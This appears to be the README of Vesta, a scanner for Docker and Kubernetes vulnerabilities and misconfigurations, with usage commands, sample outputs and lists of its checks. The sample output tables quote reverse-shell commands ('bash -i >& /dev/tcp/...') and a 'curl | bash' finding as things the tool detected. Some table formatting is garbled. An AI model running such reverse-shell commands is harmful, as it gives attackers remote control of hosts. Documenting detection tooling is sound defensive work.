kvesta/vestaUn toolkit d'analyse statique des vulnérabilités, de détection de configuration de clusters Docker et Kubernetes, basé sur la pénétration réelle du cloud computing.
Un outil de détection d'analyse statique des vulnérabilités, de la configuration des clusters Docker et Kubernetes, basé sur des tests de pénétration réels du cloud computing.
Vesta est un outil de détection d'analyse statique des vulnérabilités et de la configuration des clusters Docker et Kubernetes. Il inspecte les configurations Kubernetes et Docker, les pods du cluster et les conteneurs avec des pratiques sécurisées.
Vesta est un outil flexible qui peut fonctionner sur des machines physiques de différents types de systèmes (Windows, Linux, MacOS).
Analyse
Docker
Kubernetes
Vesta est construit avec Go 1.18.```bash make build
## Démarrage rapide
Exemple de scan d'image ou de conteneur, utilisez `-f` pour entrer par un fichier tar, démarrez vesta :```bash
# Container
vesta scan image cve-2019-14234_web:latest
vesta scan image -f example.tar
# Image
vesta scan container <CONTAINER ID>
vesta scan container -f example.tar
# Filesystem
vesta scan fs <path_of_filesystem>
Sortie :```bash 2022/11/29 22:50:00 Searching for image 2022/11/29 22:50:19 Begin upgrading vulnerability database 2022/11/29 22:50:19 Vulnerability Database is already initialized 2022/11/29 22:50:19 Begin to analyze the layer 2022/11/29 22:50:35 Begin to scan the layer
Detected 216 vulnerabilities
+-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+ | 208 | python3.6 - Django | 2.2.3 | CVE-2019-14232 | 7.5 | high | An issue was discovered | | | | | | | | in Django 1.11.x before | | | | | | | | 1.11.23, 2.1.x before 2.1.11, | | | | | | | | and 2.2.x before 2.2.4. If | | | | | | | | django.utils.text.Truncator's | | | | | | | | chars() and words() methods | | | | | | | | were passed the html=True | | | | | | | | argument, t ... | +-----+ +-----------------+------------------+-------+----------+------------------------------------------------------------------+ | 209 | | 2.2.3 | CVE-2019-14233 | 7.5 | high | An issue was discovered | | | | | | | | in Django 1.11.x before | | | | | | | | 1.11.23, 2.1.x before 2.1.11, | | | | | | | | and 2.2.x before 2.2.4. | | | | | | | | Due to the behaviour of | | | | | | | | the underlying HTMLParser, | | | | | | | | django.utils.html.strip_tags | | | | | | | | would be extremely ... | +-----+ +-----------------+------------------+-------+----------+------------------------------------------------------------------+ | 210 | | 2.2.3 | CVE-2019-14234 | 9.8 | critical | An issue was discovered in | | | | | | | | Django 1.11.x before 1.11.23, | | | | | | | | 2.1.x before 2.1.11, and 2.2.x | | | | | | | | before 2.2.4. Due to an error | | | | | | | | in shallow key transformation, | | | | | | | | key and index lookups for | | | | | | | | django.contrib.postgres.f ... | +-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+ | 211 | python3.6 - numpy | 1.24.2 | | 8.5 | high | Malicious package is detected in | | | | | | | | '/usr/local/lib/python3.6/site-packages/numpy/setup.py', | | | | | | | | malicious command "curl | bash" are | | | | | | | | detected. | +-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+
Docker Histories: +----+---------------+----------------------------+-------+-------+--------+--------------------------------+ | ID | NAME | CURRENT/VULNERABLE VERSION | CVEID | SCORE | LEVEL | DESCRIPTION | +----+---------------+----------------------------+-------+-------+--------+--------------------------------+ | 1 | Image History | - / - | - | 0.0 | high | Confusion value found | | | | | | | | in ENV: 'command' with | | | | | | | | the plain text 'bash -i | | | | | | | | >&/dev/tcp/127.0.0.1/9999 0>&1 | | | | | | | | '. | +----+---------------+----------------------------+-------+-------+--------+--------------------------------+ | 2 | | - / - | - | 0.0 | medium | Docker history has found the | | | | | | | | senstive environment with | | | | | | | | key 'SECRET_KEY' and value: | | | | | | | | 123456. | +----+---------------+----------------------------+-------+-------+--------+--------------------------------+
<details>
<summary>Résultat</summary>
</details>
Exemple de scan de configuration Docker, démarrer vesta :```bash
vesta analyze docker
Ou exécutez avec dokcer```bash make run.docker
Sortie:```bash
2022/11/29 23:06:32 Start analysing
2022/11/29 23:06:32 Getting engine version
2022/11/29 23:06:32 Getting docker server version
2022/11/29 23:06:32 Getting kernel version
Detected 3 vulnerabilities
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| ID | CONTAINER DETAIL | PARAM | VALUE | SEVERITY | DESCRIPTION |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 1 | Name: Kernel | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | ID: None | | | | the CVE-2022-0492 with |
| | | | | | CAP_SYS_ADMIN and v1 |
| | | | | | architecture of cgroups |
| | | | | | vulnerablility, has a |
| | | | | | potential container escape. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 2 | Name: vesta_vuln_test | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | ID: 207cf8842b15 | | | | the Dirty Pipe vulnerablility, |
| | | | | | has a potential container |
| | | | | | escape. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 3 | Name: Image Tag | Privileged | true | critical | There has a potential container|
| | ID: None | | | | escape in privileged module. |
| | | | | | |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 4 | Name: Image Configuration | Image History | Image name: | high | Weak password found |
| | ID: None | | vesta_history_test:latest | | | in command: ' echo |
| | | | Image ID: 4bc05e1e3881 | | 'password=test123456' > |
| | | | | | config.ini # buildkit'. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
Exemple d'analyse de configuration Kubernetes, lancez vesta :```bash vesta analyze k8s
Sortie:```bash
2022/11/29 23:15:59 Start analysing
2022/11/29 23:15:59 Getting docker server version
2022/11/29 23:15:59 Getting kernel version
Detected 4 vulnerabilities
Pods:
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| ID | POD DETAIL | PARAM | VALUE | TYPE | SEVERITY | DESCRIPTION |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| 1 | Name: vulntest | Namespace: | sidecar name: vulntest | | true | Pod | critical | There has a potential |
| | default | Status: Running | | Privileged | | | | container escape in privileged |
| | Node Name: docker-desktop | | | | | module. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest | | Token:Password123456 | Sidecar EnvFrom | high | Sidecar envFrom ConfigMap has |
| | | env | | | | found weak password: |
| | | | | | | 'Password123456'. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: sidecartest | | MALWARE: bash -i >& | Sidecar Env | high | Container 'sidecartest' finds |
| | | env | /dev/tcp/10.0.0.1/8080 0>&1 | | | high risk content(score: |
| | | | | | | 0.91 out of 1.0), which is a |
| | | | | | | suspect command backdoor. |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| 2 | Name: vulntest2 | Namespace: | sidecar name: vulntest2 | | CAP_SYS_ADMIN | capabilities.add | critical | There has a potential |
| | default | Status: Running | | capabilities | | | | container escape in privileged |
| | Node Name: docker-desktop | | | | | module. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest2 | | true | kube-api-access-lcvh8 | critical | Mount service account |
| | | automountServiceAccountToken | | | | and key permission are |
| | | | | | | given, which will cause a |
| | | | | | | potential container escape. |
| | | | | | | Reference clsuterRolebind: |
| | | | | | | vuln-clusterrolebinding | |
| | | | | | | roleBinding: vuln-rolebinding |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest2 | | cpu | Pod | low | CPU usage is not limited. |
| | | Resource | | | | |
| | | | | | | |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
Configures:
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| ID | TYPEL | PARAM | VALUE | SEVERITY | DESCRIPTION |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 1 | K8s version less than v1.24 | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | | | | | the CVE-2022-0185 with |
| | | | | | CAP_SYS_ADMIN vulnerablility, |
| | | | | | has a potential container |
| | | | | | escape. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 2 | ConfigMap | ConfigMap Name: vulnconfig | db.string:mysql+pymysql://dbapp:Password123@db:3306/db | high | ConfigMap has found weak |
| | | Namespace: default | | | password: 'Password123'. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 3 | Secret | Secret Name: vulnsecret-auth | password:Password123 | high | Secret has found weak |
| | | Namespace: default | | | password: 'Password123'. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 4 | ClusterRoleBinding | binding name: | verbs: get, watch, list, | high | Key permissions with key |
| | | vuln-clusterrolebinding | | create, update | resources: | | resources given to the |
| | | rolename: vuln-clusterrole | | pods, services | | default service account, which |
| | | kind: ClusterRole | subject | | | will cause a potential data |
| | | kind: Group | subject name: | | | leakage. |
| | | system:serviceaccounts:vuln | | | | |
| | | namespace: vuln | | | |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 5 | RoleBinding | binding name: vuln-rolebinding | verbs: get, watch, list, | high | Key permissions with key |
| | | | rolename: vuln-role | role | create, update | resources: | | resources given to the |
| | | kind: Role | subject kind: | pods, services | | default service account, which |
| | | ServiceAccount | subject name: | | | will cause a potential data |
| | | default | namespace: default | | | leakage. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 6 | ClusterRoleBinding | binding name: | verbs: get, watch, list, | warning | Key permission are given |
| | | vuln-clusterrolebinding2 | | create, update | resources: | | to unknown user 'testUser', |
| | | rolename: vuln-clusterrole | | pods, services | | printing it for checking. |
| | | subject kind: User | subject | | | |
| | | name: testUser | namespace: | | | |
| | | all | | | |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
$./vesta -h Vesta is a static analysis of vulnerabilities, Docker and Kubernetes configuration detect toolkit Tutorial is available at https://github.com/kvesta/vesta
Usage: vesta [command]
Available Commands: analyze Kubernetes analyze completion Generate the autocompletion script for the specified shell help Help about any command scan Container scan update Update vulnerability database version Print version information and quit
Flags: -h, --help help for vesta
## Événement
### Liste d'armes de KCon 2023
- [https://kcon.knownsec.com/index.php?s=bqp&c=category&id=2](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=2)
| Pris en charge | Élément de vérification | Description | Gravité | Référence |
|---|
| ✔ | PrivilegeAllowed | Le module privilégié est autorisé. | critique | Réf |
| ✔ | Capabilities | Des capacités dangereuses sont ouvertes. | critique | Réf |
| ✔ | Volume Mount | Montage d'un emplacement dangereux. | critique | Réf |
| ✔ | Docker Unauthorized | Le port 2375 est ouvert et non autorisé. | critique | Réf |
| ✔ | Kernel version | La version du noyau est inférieure à la version d'évasion. | critique | Réf |
| ✔ | Network Module | Le module réseau est host et la version de containerd est inférieure à 1.41. | critique/moyen | |
| ✔ | Pid Module | Le module PID est host. | élevé | |
| ✔ | Docker Server version | La version du serveur fait partie des versions vulnérables. | critique/élevé/ moyen/faible | |
| ✔ | Docker env password check | Vérification des mots de passe faibles dans la base de données. | élevé/moyen | |
| ✔ | Docker History | Les couches Docker et l'environnement contiennent des commandes dangereuses. | élevé/moyen | |
| ✔ | Docker Backdoor | La commande env de Docker contient des commandes malveillantes. | critique/élevé | |
| ✔ | Docker Swarm | Docker Swarm a des configurations ou secrets dangereux, ou des conteneurs non sécurisés. | moyen/faible | |
| ✔ | Docker supply chain | La chaîne d'approvisionnement Docker a des configurations vulnérables. | critique/élevé/ moyen | Réf |
| Pris en charge | Élément de vérification | Description | Gravité | Référence |
|---|
| ✔ | PrivilegeAllowed | Le module privilégié est autorisé. | critique | Réf |
| ✔ | Capabilities | Des capacités dangereuses sont ouvertes. | critique | Réf |
| ✔ | PV and PVC | Le PV est monté sur un emplacement dangereux et est actif. | critique/moyen | Réf |
| ✔ | RBAC | RBAC a des configurations dangereuses dans clusterrolebinding ou rolebinding. | élevé/moyen/ faible/avertissement | |
| ✔ | Kubernetes-dashborad | Vérification de -enable-skip-login et des permissions du compte. | critique/élevé/faible | Réf |
| ✔ | Kernel version | La version du noyau est inférieure à la version d'évasion. | critique | Réf |
| ✔ | Docker Server version (les versions k8s sont inférieures à v1.24) | La version du serveur fait partie des versions vulnérables. | critique/élevé/ moyen/faible | |
| ✔ | Kubernetes certification expiration | La certification expire après 30 jours. | moyen | |
| ✔ | ConfigMap and Secret check | Vérification des mots de passe faibles dans ConfigMap ou Secret. | élevé/moyen/faible | Réf |
| ✔ | PodSecurityPolicy check (k8s version under the v1.25) | PodSecurityPolicy tolère des configurations de pod dangereuses. | élevé/moyen/faible | Réf |
| ✔ | Auto Mount ServiceAccount Token | Montage du jeton de service par défaut. | critique/élevé/ moyen/faible | Réf |
| ✔ | NoResourceLimits | Aucune limite de ressources n'est définie. | faible | Réf |
| ✔ | Job and Cronjob | Aucun seccomp ou seLinux n'est défini dans Job ou CronJob. | faible | Réf |
| ✔ | Envoy admin | L'administration Envoy est ouverte et écoute sur 0.0.0.0. | élevé/moyen | Réf |
| ✔ | Cilium version | Cilium a une version vulnérable. | critique/élevé/ moyen/faible | Réf |
| ✔ | Istio configurations | Istio a une version et des configurations vulnérables. | critique/élevé/ moyen/faible | Réf |
| ✔ | Kubelet 10250/10255 and Kubectl proxy | Les ports 10255/10250 sont ouverts et non autorisés, ou le proxy Kubectl est ouvert. | élevé/moyen/faible | |
| ✔ | Etcd configuration | Vérification de la configuration sécurisée d'Etcd. | élevé/moyen | |
| ✔ | Sidecar configurations | Sidecar a des configurations dangereuses. | critique/élevé/ moyen/faible | |
| ✔ | Pod annotation | L'annotation de pod a des configurations dangereuses. | élevé/moyen/ faible/avertissement | Réf |
| ✔ | DaemonSet | DaemonSet a des configurations dangereuses. | critique/élevé/ moyen/faible | |
| ✔ | Backdoor | Détection de porte dérobée. | critique/élevé | Réf |
| ✔ | Lateral admin movement | Le pod spécifie un nœud maître. | moyen/faible |